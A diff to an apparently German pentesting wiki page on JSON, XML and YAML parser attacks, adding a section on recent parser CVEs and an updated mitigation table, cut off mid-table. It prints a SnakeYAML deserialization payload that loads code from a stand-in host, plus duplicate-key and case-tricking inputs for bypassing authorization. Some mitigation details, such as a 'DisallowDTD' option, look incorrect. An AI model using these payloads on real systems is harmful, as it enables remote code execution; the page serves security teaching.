diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 33462c38a..227e1aac5 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -22,7 +22,7 @@ IsAdmin bool `json:"-"` ``` - Häufige Schwachstellen -1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin analysiert): +1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin geparst): ```go type User struct { Username string @@ -50,7 +50,7 @@ IsAdmin bool `json:"-"` ``` ### Parser-Differenzen -Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie in: +Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel: - CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel - 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz - GitLab 2025 SAML-Umgehung über XML-Eigenheiten @@ -61,10 +61,10 @@ Go's `encoding/json` nimmt das **letzte** Feld. json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` -Andere Parser (z. B. Javas Jackson) können das **erste** nehmen. +Andere Parser (z. B. Javas Jackson) können die **erste** nehmen. **2. Groß-/Kleinschreibung:** -Go ist nicht groß-/kleinschreibungsempfindlich: +Go ist nicht case-sensitiv: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field @@ -94,7 +94,7 @@ Angreifer sendet: Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.: - **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte. -Der Angreifer kontrolliert: +Angreifer kontrolliert: - Den `Accept: application/json` Header - Teilweise Kontrolle des JSON-Körpers @@ -112,16 +112,53 @@ Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten - **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich) - **XML** Parser: parst `"Action_3"` innerhalb des Strings +--- -### 🔐 Minderung +## Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025) -| Risiko | Lösung | -|-----------------------------|---------------------------------------| -| Unbekannte Felder | `decoder.DisallowUnknownFields()` | -| Duplizierte Felder (JSON) | ❌ Keine Lösung in der Standardbibliothek | -| Groß-/Kleinschreibungsempfindliche Übereinstimmung | ❌ Keine Lösung in der Standardbibliothek | -| XML-Mülldaten | ❌ Keine Lösung in der Standardbibliothek | -| YAML: unbekannte Schlüssel | `yaml.KnownFields(true)` | +> Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist – nicht nur ein Go-Problem. +### SnakeYAML Deserialisierung RCE (CVE-2022-1471) + +* Betroffen: `org.yaml:snakeyaml` < **2.0** (verwendet von Spring-Boot, Jenkins usw.). +* Grundursache: `new Constructor()` deserialisiert **willkürliche Java-Klassen**, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden. +* One-Liner PoC (öffnet den Rechner auf dem anfälligen Host): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Fix / Minderung: +1. **Upgrade auf ≥2.0** (verwendet standardmäßig `SafeLoader`). +2. Bei älteren Versionen explizit `new Yaml(new SafeConstructor())` verwenden. + +### libyaml Double-Free (CVE-2024-35325) + +* Betroffen: `libyaml` ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird). +* Problem: Das zweimalige Aufrufen von `yaml_event_delete()` führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können. +* Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte **0.2.6** ausgeliefert, das den Zeiger defensiv null-freigibt. + +### RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684) + +* Betroffen: Tencent **RapidJSON** vor dem Commit `8269bc2` (<1.1.0-patch-22). +* Fehler: In `GenericReader::ParseNumber()` lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen — was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird. + +--- + +### 🔐 Minderung (Aktualisiert) + +| Risiko | Fix / Empfehlung | +|--------------------------------------|---------------------------------------------------------| +| Unbekannte Felder (JSON) | `decoder.DisallowUnknownFields()` | +| Duplizierte Felder (JSON) | ❌ Kein Fix in der stdlib — validieren mit [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) | ❌ Kein Fix — validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben | +| XML-Garbagedaten / XXE | Verwenden Sie einen gehärteten Parser (`encoding/xml` + `DisallowDTD`) | +| YAML unbekannte Schlüssel | `yaml.KnownFields(true)` | +| **Unsichere YAML-Desserialisierung** | Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 Double-Free | Upgrade auf **0.2.6** oder distro-gepatchte Version | +| RapidJSON